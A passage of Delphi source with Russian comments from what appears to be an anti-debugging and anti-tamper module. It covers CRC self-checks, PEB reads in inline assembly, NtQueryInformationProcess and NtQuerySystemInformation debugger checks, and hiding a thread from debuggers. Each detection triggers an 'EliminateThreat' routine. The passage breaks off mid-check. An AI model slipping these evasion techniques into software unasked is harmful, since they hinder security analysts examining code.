// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Засекаем время:
QueryPerformanceFrequency(iCounterPerSec);
QueryPerformanceCounter(T1);
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Эмуляция отладчика:
if EmulateDebugger then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.DebuggerEmulation := True;
EliminateThreat;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Эмуляция брейкпоинта:
if EmulateBreakpoint then
begin
PerimeterInfo.BreakpointExists := True;
PerimeterInfo.BreakpointEmulation := True;
EliminateThreat;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Проверяем CRC:
if IsNumberContains(PerimeterSettings.CheckingsType, ROM) then
begin
PerimeterInfo.Checksum := CalculatePerimeterCRC;
if PerimeterInfo.Checksum <> PerimeterCRC then
begin
PerimeterInfo.ROMFailure := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// IDP:
if IsNumberContains(PerimeterSettings.CheckingsType, IDP) then
begin
if IsDebuggerPresent then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.IDP := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// RDP:
if IsNumberContains(PerimeterSettings.CheckingsType, RDP) then
begin
CheckRemoteDebuggerPresent(GetCurrentProcess, RemoteDebugger);
if RemoteDebugger then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.RDP := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// ODS:
if IsNumberContains(PerimeterSettings.CheckingsType, ODS) then
begin
asm
mov eax, $FFFFFFFF
push DebugString
call OutputDebugString
mov AsmFunctionValue, eax
end;
if AsmFunctionValue = 0 then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.ODS := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Отключаем поток от отладчика:
if IsNumberContains(PerimeterSettings.CheckingsType, ZwSIT) then
begin
ZwSetInformationThread(GetCurrentThread, ThreadHideFromDebugger, nil, 0);
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// ASM_A:
if IsNumberContains(PerimeterSettings.CheckingsType, ASM_A) then
begin
asm
mov eax, fs:[30h]
mov eax, [eax + 2]
add eax, 65536
// EAX <> 0 -> PerimeterInfo.DebuggerExists
mov AsmFunctionValue, eax
end;
if AsmFunctionValue <> 0 then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.ASM_A := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// ASM_B:
if IsNumberContains(PerimeterSettings.CheckingsType, ASM_B) then
begin
asm
mov eax, fs:[30h]
mov eax, [eax + 68h]
and eax, 70h
// EAX <> 0 -> PerimeterInfo.DebuggerExists
mov AsmFunctionValue, eax
end;
if AsmFunctionValue <> 0 then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.ASM_B := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// ZwQIP:
if IsNumberContains(PerimeterSettings.CheckingsType, ZwQIP) then
begin
// 1й способ:
ZwQueryInformationProcess(GetCurrentProcess, ProcessDebugFlags, @NoDebugInherit, SizeOf(NoDebugInherit), nil);
if not NoDebugInherit then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.ZwQIP := True;
EliminateThreat;
end;
// = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
// 2й способ:
ZwQueryInformationProcess(GetCurrentProcess, ProcessDebugObjectHandle, @DebugObjectHandle, SizeOf(DebugObjectHandle), nil);
if DebugObjectHandle <> 0 then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.ZwQIP := True;
EliminateThreat;
end;
// = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
// 3й способ:
ZwQueryInformationProcess(GetCurrentProcess, ProcessDebugPort, @DebugPort, SizeOf(DebugPort), nil);
if DebugPort <> 0 then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.ZwQIP := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// ZwQSI:
if IsNumberContains(PerimeterSettings.CheckingsType, ZwQSI) then
begin
ZwQuerySystemInformation(SystemKernelDebuggerInformation, @KernelDebuggerInfo, SizeOf(KernelDebuggerInfo), nil);
if KernelDebuggerInfo.DebuggerEnabled and (not KernelDebuggerInfo.DebuggerNotPresent) then
begin
PerimeterInfo.DebuggerExists := True;
PerimeterInfo.Functions.ZwQIP := True;
EliminateThreat;
end;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// ZwClose:
if IsNumberContains(PerimeterSettings.CheckingsType, ZwClose) then
begin